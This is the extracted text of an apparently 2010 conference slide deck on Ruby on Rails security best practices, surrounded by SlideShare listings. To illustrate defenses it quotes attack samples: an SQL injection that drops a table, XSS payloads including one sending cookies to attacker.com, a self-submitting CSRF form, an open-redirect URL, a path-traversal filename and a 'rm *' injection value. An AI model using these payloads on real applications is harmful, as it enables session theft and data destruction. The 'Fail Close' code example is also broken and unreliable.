SlideShare una empresa de Scribd logo
1 de 47
Descargar para leer sin conexión
Rails Security Best
     Practices
     http://ihower.tw
          2010/3
About Me
•           a.k.a. ihower
    • http://ihower.tw
    • http://twitter.com/ihower
    • http://github.com/ihower
• Ruby on Rails Developer since 2006
• Ruby Taiwan Community
 • http://ruby.tw
Defense in Depth

• Network: firewalls, IDS
• Operating system
• Web server
• Web application
• Database
75% of attacks are at the
  web application layer
      (By The Gartnet Group estimation)
What is Security?
• a measurement, not a characteristic
  •   not a simple requirement to be met...


• must be balanced with expense
  •   it’s easy and relatively inexpensive to provide a sufficient level of security
      for most applications. But if you need more...


• must be balanced with usability
  •   it’s often increase security also decrease the user usability...


• must be part of the design
                                                               (from PHP Security Guide: Overview)
Okay, your users are evil,
they will give you illegitimate operation and data.
Agenda
•   Information leaks
•   Session
•   SQL injection
•   Mass assignment
•   Unscoped finds
•   Controller Exposing methods
•   XSS
•   CSRF
•   File uploads/download
•   DoS
•   Host
Information Leaks

• Rails app?
• Web and Application server?
• SVN metadata?
Rails app?
•   Default static files
    •   /javascript/application.js
    •   /stylesheets/application.css
    •   /images/
•   URL schema
    •   /post/show/3
    •   /users/5
•   404/500/422 pages
Web and Application
      Server?
• Server Header
 • apache
 • nginx
 • mongrel
 • mod_rails
Disable Server Header
Server:Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch
Phusion_Passenger/2.2.9




✓   # apache2.conf
    ServerSignature Off
    ServerTokens Prod




Server:Apache
SVN metadata

     • GET http://your_site.org/.svn/entries
     ✓      <DirectoryMatch "^/.*/.svn/">
              ErrorDocument 403 /404.html
              Order allow,deny
              Deny from all
              Satisfy All
            </DirectoryMatch>




                                 Or just delete it:
http://plog.longwin.com.tw/my_note-unix/2008/01/07/find_delete_svn_directory_2008
Sensitive Information
• Do not store sensitive information in the
  clear
  • cookie
  • session(or flash)
  • memory for a long time
  • log files
  • cache
Filter Log params
    Processing UsersController#create (for 127.0.0.1 at 2009-01-02 10:13:13) [POST]
    Parameters: {"user"=>{"name"=>"eifion", "password_confirmation"=>"secret", "password"=>"secret"},
    "commit"=>"Register", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5"}


✓   # Rails 2.x
    class ApplicationController < ActionController::Base
      filter_parameter_logging "password"
    end

    Processing UsersController#create (for 127.0.0.1 at 2009-01-02 11:02:33) [POST]
      Parameters: {"user"=>{"name"=>"susan", "password_confirmation"=>"[FILTERED]", "password"=>"[FILTERED]"},
    "commit"=>"Register", "action"=>"create",
    "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5", "controller"=>"users"}
Cookie Session Storage
       # config/initializers/session_store.rb
       ActionController::Base.session = {
         :key    => '_app_session',
         :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'
       }




• Don’t use a trivial secret
• Don’t store any secret information here
• Or.... just switch to another session storage
Session
   The session id is a 32 byte long MD5 hash value.




• Hijacking
• Fixation
 • reset_session after every login
SQL injection
                                              x'; DROP TABLE users; --




Project.find(:all, :conditions => "name = '#{params[:name]}'")


SELECT * FROM projects WHERE name = 'x'; DROP TABLE users; --’
SQL injection
                 vulnerabilities:


• find_by_sql
• execute
• find with conditions in a string
• limit and offset (before rails 2.1.1)
• group_by
• order
Always use the hash or
         array form
✓
    Project.find(:all, :conditions => { :name => params[:name] } )
    # or
    Project.find(:all, :conditions => ["name = ?", params[:name] ] )
Only allow predefine
                  value
    class User < ActiveRecord::Base

✓     def self.find_with_order(order)
        raise "SQL Injection Warning" unless ["id","id desc"].include?(order)
        find(:all, :limit => 1, :order => order )
      end

    end
Use quote if you need
   pass it directly
          ActiveRecord::Base::connection.quote


    class User < ActiveRecord::Base
✓     def self.find_with_order(order)
        find(:all, :order => connection.quote(order) )
      end

    end
Mass assignment

def create
  params[:user] #=> {:name => “ow3ned”, :is_admin => true}
  @user = User.create(params[:user])
end

def update
  @user = User.update_attributes(params[:user])
end
Protect it!

✓   class User < ActiveRecord::Base
        attr_protected :admin
    end

    # or

    class User < ActiveRecord::Base
        attr_accessible :name
    end
Assign protected
attributes manually
 params[:user] #=> {:name => "ow3ned", :admin => true}
 @user = User.new(params[:user])
 @user.admin #=> false # not mass-assigned
 @user.admin = true
 @user.admin #=> true
Unscoped finds
    class UserOrdersController < ApplicationController

    def show
        @order = Order.find(params[:id])
    end




✓
    def show
        @order = current_user.orders.find(params[:id]
    end
Controller Exposing
       methods

• Use protected and private
• If use RESTful design, do not use default
  routes
• http://ihower.tw/blog/archives/3265
XSS(Cross-Site Scripting)
      malicious users inject client-side script into web pages viewed by other users

<script>alert('HACK YOU!');</script>

<img src=javascript:alert('HACK YOU!')>

<table background="javascript:alert('HACK YOU!')">

<script>document.write(document.cookie);</script>

<script>document.write('<img src="http://www.attacker.com/' +
document.cookie + '">');</script>



•   Do not want to build black-list, you can find more at
               http://ha.ckers.org/xss.html
XSS Protection (Rails2)

• Use escapeHTML() (or its alias h()) method
• Plugins
 •   http://github.com/nzkoz/rails_xss (for Rails 2.3)

 •   http://agilewebdevelopment.com/plugins/safe_erb

 •   http://code.google.com/p/xss-shield/ (Tainting way)
XSS Protection (Rails3)
• Rails 3 auto escape string
• Unless you html_safe or raw string
 • “<p>safe</p>”.html_safe
 • raw(“<p>safe</p>”)
Allow user to use
   simple HTML code
• Use white-list sanitize() method
• If you use Textile or Markdown markup
  language, you still need sanitize it.
CSRF
    Cross-Site Request Forgery




  Use another users’ authorization token to
interact with a web application as the trusted
           user in a malicious way.
CSRF protection (1)

• Use GET request for safe operation such as
  a query, read operation, or lookup
• Use POST request for any destructive
  actions such as create, update, delete
But...
• POST requests can be sent automatically,
  too. An example:
     <a href="http://www.harmless.com/" onclick="
       var f = document.createElement('form');
       f.style.display = 'none';
       this.parentNode.appendChild(f);
       f.method = 'POST';
       f.action = 'http://www.example.com/account/destroy';
       f.submit();
       return false;">To the harmless survey</a>
CSRF protection (2)
protect_from_forgery will check all POST requests for a security token




✓    class ApplicationController < ActionController::Base
       protect_from_forgery
     end


    <form action="/projects/1" class="edit_project" enctype="multipart/form-data"
    id="edit_project_1" method="post">
      <div style="margin:0;padding:0;display:inline">
        <input name="_method" type="hidden" value="put" />
        <input name="authenticity_token" type="hidden" value="cuI
    +ljBAcBxcEkv4pbeqLTEnRUb9mUYMgfpkwOtoyiA=" />
      </div>
Redirection
         Do not allow user to pass (parts of) the URL for redirection directly




       def legacy
         redirect_to(params.update(:action=>'main'))
       end




http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
File Uploads: Overwrite

• Make sure file uploads don’t overwrite
  important files. eg. “../../../etc/passwd”
• Validate file name is simple. Don’t try to
  remove malicious parts.
• Use plugins: attachment_fu or paperclip
File Uploads: Executable
•   never to allow users to upload any extension
    associated with executable content on your
    site (.php, .cgi ...etc)
•   when user download, set the appropriate
    Content-Type HTTP header, eliminate the
    potential for XSS attacks.
•   or never let these files be not accessible to
    your web server (outside the DocumentRoot
    in Apache)
File downloads
Make sure users cannot download arbitrary files.




send_file('/var/www/uploads/' + params[:filename])
Command Line
  Injection

system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files
denial-of-service
      attacks (DoS)
• Avoid Long-running action, use background-
  processing.
• Don’t bother your application server
 • Use Web server provide static files
 • Use HTTP reverse proxy if need
Host
• Platform (Windows, Linux, Solaris, BSDs)
  choosing one which you can trust and familiar


• Firewall
  you can use nmap tool to show which ports are open


• SSH: move port 22 to another
• Turn off any services that you aren’t using.
• Hire system administrator to help
  Your time as a developer should be spent on the things your are good at.
One more concept...
Fail Close
    # fail open way, it’s bad
    def show
        @invoice = Invoice.find(params[:id])

          unless @user.validate_code( @invoice.code )
              redirect_to :action => 'not_authorized'
          end
    end


    # fail close way
    def show
        @invoice = Invoice.find(params[:id])

          if @user.validate_code( @invoice.code )
✓         else
               redirect_to :action => 'authorized

               redirect_to :action => 'not_authorized'
          end
    end
Whitelisting
       use whitelist, blacklist is hardly complete

    admins = %{ihower ihover}

    # fail close way
    if admins.include? user

✓
         redirect_to :action => 'authorized'
    else
         redirect_to :action => 'not_authorized'
    end

    # fail open way, don’t do this
    if !admins.include? user
         redirect_to :action => 'not_authorized'
    else
         redirect_to :action => 'authorized'
    end
Conclusion
• Rails has many security features enabled by
  default
  • SQL quoting
  • HTML sanitization
  • CSRF protection
Reference
•   Agile Web Development with Rails 3rd. Chap.27 Securing Your Rails Application
    (Pragmatic)
•   Rails2 Chap.13 Security and Performance Enhancements (friendsof)
•   Advanced Rails Chap.5 Security (O’Reilly)
•   Security Audit by Aaron Bedra (Peepcode)
•   Security on Rails (Pragmatic)
•   PHP Security Guide
•   http://blog.innerewut.de/2009/11/3/ruby-en-rails-2009-recap
•   http://guides.rubyonrails.org/security.html
•   http://www.rorsecurity.info
•   http://asciicasts.com/episodes/178-seven-security-tips
•   http://www.ultrasaurus.com/sarahblog/2010/01/rails-security-review-checklist/
•   http://www.quarkruby.com/2007/9/20/ruby-on-rails-security-guide
•   http://www.owasp.org
The End

Más contenido relacionado

La actualidad más candente

Django Celery - A distributed task queue
Django Celery - A distributed task queueDjango Celery - A distributed task queue
Django Celery - A distributed task queueAlex Eftimie
 
Europython 2011 - Playing tasks with Django & Celery
Europython 2011 - Playing tasks with Django & CeleryEuropython 2011 - Playing tasks with Django & Celery
Europython 2011 - Playing tasks with Django & CeleryMauro Rocco
 
Single Page Web Applications with CoffeeScript, Backbone and Jasmine
Single Page Web Applications with CoffeeScript, Backbone and JasmineSingle Page Web Applications with CoffeeScript, Backbone and Jasmine
Single Page Web Applications with CoffeeScript, Backbone and JasminePaulo Ragonha
 
Unit Testing Express and Koa Middleware in ES2015
Unit Testing Express and Koa Middleware in ES2015Unit Testing Express and Koa Middleware in ES2015
Unit Testing Express and Koa Middleware in ES2015Morris Singer
 
Activator and Reactive at Play NYC meetup
Activator and Reactive at Play NYC meetupActivator and Reactive at Play NYC meetup
Activator and Reactive at Play NYC meetupHenrik Engström
 
Intro to testing Javascript with jasmine
Intro to testing Javascript with jasmineIntro to testing Javascript with jasmine
Intro to testing Javascript with jasmineTimothy Oxley
 
Django Rest Framework and React and Redux, Oh My!
Django Rest Framework and React and Redux, Oh My!Django Rest Framework and React and Redux, Oh My!
Django Rest Framework and React and Redux, Oh My!Eric Palakovich Carr
 
Using Ruby on Rails with legacy Oracle databases
Using Ruby on Rails with legacy Oracle databasesUsing Ruby on Rails with legacy Oracle databases
Using Ruby on Rails with legacy Oracle databasesRaimonds Simanovskis
 
Java Play RESTful ebean
Java Play RESTful ebeanJava Play RESTful ebean
Java Play RESTful ebeanFaren faren
 
Immutable Deployments with AWS CloudFormation and AWS Lambda
Immutable Deployments with AWS CloudFormation and AWS LambdaImmutable Deployments with AWS CloudFormation and AWS Lambda
Immutable Deployments with AWS CloudFormation and AWS LambdaAOE
 
Testing Javascript with Jasmine
Testing Javascript with JasmineTesting Javascript with Jasmine
Testing Javascript with JasmineTim Tyrrell
 
Asynchronous Task Queues with Celery
Asynchronous Task Queues with CeleryAsynchronous Task Queues with Celery
Asynchronous Task Queues with CeleryKishor Kumar
 

La actualidad más candente (20)

Django Celery - A distributed task queue
Django Celery - A distributed task queueDjango Celery - A distributed task queue
Django Celery - A distributed task queue
 
Presentation
PresentationPresentation
Presentation
 
Europython 2011 - Playing tasks with Django & Celery
Europython 2011 - Playing tasks with Django & CeleryEuropython 2011 - Playing tasks with Django & Celery
Europython 2011 - Playing tasks with Django & Celery
 
Single Page Web Applications with CoffeeScript, Backbone and Jasmine
Single Page Web Applications with CoffeeScript, Backbone and JasmineSingle Page Web Applications with CoffeeScript, Backbone and Jasmine
Single Page Web Applications with CoffeeScript, Backbone and Jasmine
 
Unit Testing Express and Koa Middleware in ES2015
Unit Testing Express and Koa Middleware in ES2015Unit Testing Express and Koa Middleware in ES2015
Unit Testing Express and Koa Middleware in ES2015
 
Full Stack Unit Testing
Full Stack Unit TestingFull Stack Unit Testing
Full Stack Unit Testing
 
Celery with python
Celery with pythonCelery with python
Celery with python
 
Activator and Reactive at Play NYC meetup
Activator and Reactive at Play NYC meetupActivator and Reactive at Play NYC meetup
Activator and Reactive at Play NYC meetup
 
AJAX Transport Layer
AJAX Transport LayerAJAX Transport Layer
AJAX Transport Layer
 
Zend
ZendZend
Zend
 
Celery
CeleryCelery
Celery
 
Django Celery
Django Celery Django Celery
Django Celery
 
Intro to testing Javascript with jasmine
Intro to testing Javascript with jasmineIntro to testing Javascript with jasmine
Intro to testing Javascript with jasmine
 
Django Rest Framework and React and Redux, Oh My!
Django Rest Framework and React and Redux, Oh My!Django Rest Framework and React and Redux, Oh My!
Django Rest Framework and React and Redux, Oh My!
 
Django
DjangoDjango
Django
 
Using Ruby on Rails with legacy Oracle databases
Using Ruby on Rails with legacy Oracle databasesUsing Ruby on Rails with legacy Oracle databases
Using Ruby on Rails with legacy Oracle databases
 
Java Play RESTful ebean
Java Play RESTful ebeanJava Play RESTful ebean
Java Play RESTful ebean
 
Immutable Deployments with AWS CloudFormation and AWS Lambda
Immutable Deployments with AWS CloudFormation and AWS LambdaImmutable Deployments with AWS CloudFormation and AWS Lambda
Immutable Deployments with AWS CloudFormation and AWS Lambda
 
Testing Javascript with Jasmine
Testing Javascript with JasmineTesting Javascript with Jasmine
Testing Javascript with Jasmine
 
Asynchronous Task Queues with Celery
Asynchronous Task Queues with CeleryAsynchronous Task Queues with Celery
Asynchronous Task Queues with Celery
 

Similar a Rails Security

Ruby on Rails Security Guide
Ruby on Rails Security GuideRuby on Rails Security Guide
Ruby on Rails Security Guideihji
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applicationsDevnology
 
Secure Coding for NodeJS
Secure Coding for NodeJSSecure Coding for NodeJS
Secure Coding for NodeJSThang Chung
 
Making Joomla Insecure - Explaining security by breaking it
Making Joomla Insecure - Explaining security by breaking itMaking Joomla Insecure - Explaining security by breaking it
Making Joomla Insecure - Explaining security by breaking itTim Plummer
 
ASP.Net Presentation Part3
ASP.Net Presentation Part3ASP.Net Presentation Part3
ASP.Net Presentation Part3Neeraj Mathur
 
Drupal campleuven: Secure Drupal Development
Drupal campleuven: Secure Drupal DevelopmentDrupal campleuven: Secure Drupal Development
Drupal campleuven: Secure Drupal DevelopmentSteven Van den Hout
 
Lateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your NetworkLateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your NetworkEC-Council
 
Lateral Movement - Hacker Halted 2016
Lateral Movement - Hacker Halted 2016Lateral Movement - Hacker Halted 2016
Lateral Movement - Hacker Halted 2016Xavier Ashe
 
OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012ZIONSECURITY
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10bilcorry
 
Security: Odoo Code Hardening
Security: Odoo Code HardeningSecurity: Odoo Code Hardening
Security: Odoo Code HardeningOdoo
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Securityjemond
 
Securing Microservices using Play and Akka HTTP
Securing Microservices using Play and Akka HTTPSecuring Microservices using Play and Akka HTTP
Securing Microservices using Play and Akka HTTPRafal Gancarz
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure codingHaitham Raik
 
Continuous Delivery - Automate & Build Better Software with Travis CI
Continuous Delivery - Automate & Build Better Software with Travis CIContinuous Delivery - Automate & Build Better Software with Travis CI
Continuous Delivery - Automate & Build Better Software with Travis CIwajrcs
 

Similar a Rails Security (20)

Ruby on Rails Security Guide
Ruby on Rails Security GuideRuby on Rails Security Guide
Ruby on Rails Security Guide
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Secure Coding for NodeJS
Secure Coding for NodeJSSecure Coding for NodeJS
Secure Coding for NodeJS
 
Making Joomla Insecure - Explaining security by breaking it
Making Joomla Insecure - Explaining security by breaking itMaking Joomla Insecure - Explaining security by breaking it
Making Joomla Insecure - Explaining security by breaking it
 
ASP.Net Presentation Part3
ASP.Net Presentation Part3ASP.Net Presentation Part3
ASP.Net Presentation Part3
 
Drupal campleuven: Secure Drupal Development
Drupal campleuven: Secure Drupal DevelopmentDrupal campleuven: Secure Drupal Development
Drupal campleuven: Secure Drupal Development
 
Lateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your NetworkLateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your Network
 
Lateral Movement - Hacker Halted 2016
Lateral Movement - Hacker Halted 2016Lateral Movement - Hacker Halted 2016
Lateral Movement - Hacker Halted 2016
 
Security in Node.JS and Express:
Security in Node.JS and Express:Security in Node.JS and Express:
Security in Node.JS and Express:
 
OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
 
Security: Odoo Code Hardening
Security: Odoo Code HardeningSecurity: Odoo Code Hardening
Security: Odoo Code Hardening
 
Spa Secure Coding Guide
Spa Secure Coding GuideSpa Secure Coding Guide
Spa Secure Coding Guide
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
 
null Bangalore meet - Php Security
null Bangalore meet - Php Securitynull Bangalore meet - Php Security
null Bangalore meet - Php Security
 
Securing Microservices using Play and Akka HTTP
Securing Microservices using Play and Akka HTTPSecuring Microservices using Play and Akka HTTP
Securing Microservices using Play and Akka HTTP
 
Romulus OWASP
Romulus OWASPRomulus OWASP
Romulus OWASP
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
 
Let's shield Liferay
Let's shield LiferayLet's shield Liferay
Let's shield Liferay
 
Continuous Delivery - Automate & Build Better Software with Travis CI
Continuous Delivery - Automate & Build Better Software with Travis CIContinuous Delivery - Automate & Build Better Software with Travis CI
Continuous Delivery - Automate & Build Better Software with Travis CI
 

Más de Wen-Tien Chang

⼤語⾔模型 LLM 應⽤開發入⾨
⼤語⾔模型 LLM 應⽤開發入⾨⼤語⾔模型 LLM 應⽤開發入⾨
⼤語⾔模型 LLM 應⽤開發入⾨Wen-Tien Chang
 
Ruby Rails 老司機帶飛
Ruby Rails 老司機帶飛Ruby Rails 老司機帶飛
Ruby Rails 老司機帶飛Wen-Tien Chang
 
A brief introduction to Machine Learning
A brief introduction to Machine LearningA brief introduction to Machine Learning
A brief introduction to Machine LearningWen-Tien Chang
 
淺談 Startup 公司的軟體開發流程 v2
淺談 Startup 公司的軟體開發流程 v2淺談 Startup 公司的軟體開發流程 v2
淺談 Startup 公司的軟體開發流程 v2Wen-Tien Chang
 
RSpec on Rails Tutorial
RSpec on Rails TutorialRSpec on Rails Tutorial
RSpec on Rails TutorialWen-Tien Chang
 
ALPHAhackathon: How to collaborate
ALPHAhackathon: How to collaborateALPHAhackathon: How to collaborate
ALPHAhackathon: How to collaborateWen-Tien Chang
 
Git 版本控制系統 -- 從微觀到宏觀
Git 版本控制系統 -- 從微觀到宏觀Git 版本控制系統 -- 從微觀到宏觀
Git 版本控制系統 -- 從微觀到宏觀Wen-Tien Chang
 
Exception Handling: Designing Robust Software in Ruby (with presentation note)
Exception Handling: Designing Robust Software in Ruby (with presentation note)Exception Handling: Designing Robust Software in Ruby (with presentation note)
Exception Handling: Designing Robust Software in Ruby (with presentation note)Wen-Tien Chang
 
Exception Handling: Designing Robust Software in Ruby
Exception Handling: Designing Robust Software in RubyException Handling: Designing Robust Software in Ruby
Exception Handling: Designing Robust Software in RubyWen-Tien Chang
 
從 Classes 到 Objects: 那些 OOP 教我的事
從 Classes 到 Objects: 那些 OOP 教我的事從 Classes 到 Objects: 那些 OOP 教我的事
從 Classes 到 Objects: 那些 OOP 教我的事Wen-Tien Chang
 
Yet another introduction to Git - from the bottom up
Yet another introduction to Git - from the bottom upYet another introduction to Git - from the bottom up
Yet another introduction to Git - from the bottom upWen-Tien Chang
 
A brief introduction to Vagrant – 原來 VirtualBox 可以這樣玩
A brief introduction to Vagrant – 原來 VirtualBox 可以這樣玩A brief introduction to Vagrant – 原來 VirtualBox 可以這樣玩
A brief introduction to Vagrant – 原來 VirtualBox 可以這樣玩Wen-Tien Chang
 
Ruby 程式語言綜覽簡介
Ruby 程式語言綜覽簡介Ruby 程式語言綜覽簡介
Ruby 程式語言綜覽簡介Wen-Tien Chang
 
A brief introduction to SPDY - 邁向 HTTP/2.0
A brief introduction to SPDY - 邁向 HTTP/2.0A brief introduction to SPDY - 邁向 HTTP/2.0
A brief introduction to SPDY - 邁向 HTTP/2.0Wen-Tien Chang
 
RubyConf Taiwan 2012 Opening & Closing
RubyConf Taiwan 2012 Opening & ClosingRubyConf Taiwan 2012 Opening & Closing
RubyConf Taiwan 2012 Opening & ClosingWen-Tien Chang
 
從 Scrum 到 Kanban: 為什麼 Scrum 不適合 Lean Startup
從 Scrum 到 Kanban: 為什麼 Scrum 不適合 Lean Startup從 Scrum 到 Kanban: 為什麼 Scrum 不適合 Lean Startup
從 Scrum 到 Kanban: 為什麼 Scrum 不適合 Lean StartupWen-Tien Chang
 
那些 Functional Programming 教我的事
那些 Functional Programming 教我的事那些 Functional Programming 教我的事
那些 Functional Programming 教我的事Wen-Tien Chang
 
RubyConf Taiwan 2011 Opening & Closing
RubyConf Taiwan 2011 Opening & ClosingRubyConf Taiwan 2011 Opening & Closing
RubyConf Taiwan 2011 Opening & ClosingWen-Tien Chang
 

Más de Wen-Tien Chang (20)

⼤語⾔模型 LLM 應⽤開發入⾨
⼤語⾔模型 LLM 應⽤開發入⾨⼤語⾔模型 LLM 應⽤開發入⾨
⼤語⾔模型 LLM 應⽤開發入⾨
 
Ruby Rails 老司機帶飛
Ruby Rails 老司機帶飛Ruby Rails 老司機帶飛
Ruby Rails 老司機帶飛
 
A brief introduction to Machine Learning
A brief introduction to Machine LearningA brief introduction to Machine Learning
A brief introduction to Machine Learning
 
淺談 Startup 公司的軟體開發流程 v2
淺談 Startup 公司的軟體開發流程 v2淺談 Startup 公司的軟體開發流程 v2
淺談 Startup 公司的軟體開發流程 v2
 
RSpec on Rails Tutorial
RSpec on Rails TutorialRSpec on Rails Tutorial
RSpec on Rails Tutorial
 
RSpec & TDD Tutorial
RSpec & TDD TutorialRSpec & TDD Tutorial
RSpec & TDD Tutorial
 
ALPHAhackathon: How to collaborate
ALPHAhackathon: How to collaborateALPHAhackathon: How to collaborate
ALPHAhackathon: How to collaborate
 
Git 版本控制系統 -- 從微觀到宏觀
Git 版本控制系統 -- 從微觀到宏觀Git 版本控制系統 -- 從微觀到宏觀
Git 版本控制系統 -- 從微觀到宏觀
 
Exception Handling: Designing Robust Software in Ruby (with presentation note)
Exception Handling: Designing Robust Software in Ruby (with presentation note)Exception Handling: Designing Robust Software in Ruby (with presentation note)
Exception Handling: Designing Robust Software in Ruby (with presentation note)
 
Exception Handling: Designing Robust Software in Ruby
Exception Handling: Designing Robust Software in RubyException Handling: Designing Robust Software in Ruby
Exception Handling: Designing Robust Software in Ruby
 
從 Classes 到 Objects: 那些 OOP 教我的事
從 Classes 到 Objects: 那些 OOP 教我的事從 Classes 到 Objects: 那些 OOP 教我的事
從 Classes 到 Objects: 那些 OOP 教我的事
 
Yet another introduction to Git - from the bottom up
Yet another introduction to Git - from the bottom upYet another introduction to Git - from the bottom up
Yet another introduction to Git - from the bottom up
 
A brief introduction to Vagrant – 原來 VirtualBox 可以這樣玩
A brief introduction to Vagrant – 原來 VirtualBox 可以這樣玩A brief introduction to Vagrant – 原來 VirtualBox 可以這樣玩
A brief introduction to Vagrant – 原來 VirtualBox 可以這樣玩
 
Ruby 程式語言綜覽簡介
Ruby 程式語言綜覽簡介Ruby 程式語言綜覽簡介
Ruby 程式語言綜覽簡介
 
A brief introduction to SPDY - 邁向 HTTP/2.0
A brief introduction to SPDY - 邁向 HTTP/2.0A brief introduction to SPDY - 邁向 HTTP/2.0
A brief introduction to SPDY - 邁向 HTTP/2.0
 
RubyConf Taiwan 2012 Opening & Closing
RubyConf Taiwan 2012 Opening & ClosingRubyConf Taiwan 2012 Opening & Closing
RubyConf Taiwan 2012 Opening & Closing
 
從 Scrum 到 Kanban: 為什麼 Scrum 不適合 Lean Startup
從 Scrum 到 Kanban: 為什麼 Scrum 不適合 Lean Startup從 Scrum 到 Kanban: 為什麼 Scrum 不適合 Lean Startup
從 Scrum 到 Kanban: 為什麼 Scrum 不適合 Lean Startup
 
Git Tutorial 教學
Git Tutorial 教學Git Tutorial 教學
Git Tutorial 教學
 
那些 Functional Programming 教我的事
那些 Functional Programming 教我的事那些 Functional Programming 教我的事
那些 Functional Programming 教我的事
 
RubyConf Taiwan 2011 Opening & Closing
RubyConf Taiwan 2011 Opening & ClosingRubyConf Taiwan 2011 Opening & Closing
RubyConf Taiwan 2011 Opening & Closing
 

Último

Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationSlibray Presentation
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024The Digital Insurer
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Wonjun Hwang
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfRankYa
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr LapshynFwdays
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clashcharlottematthew16
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 

Último (20)

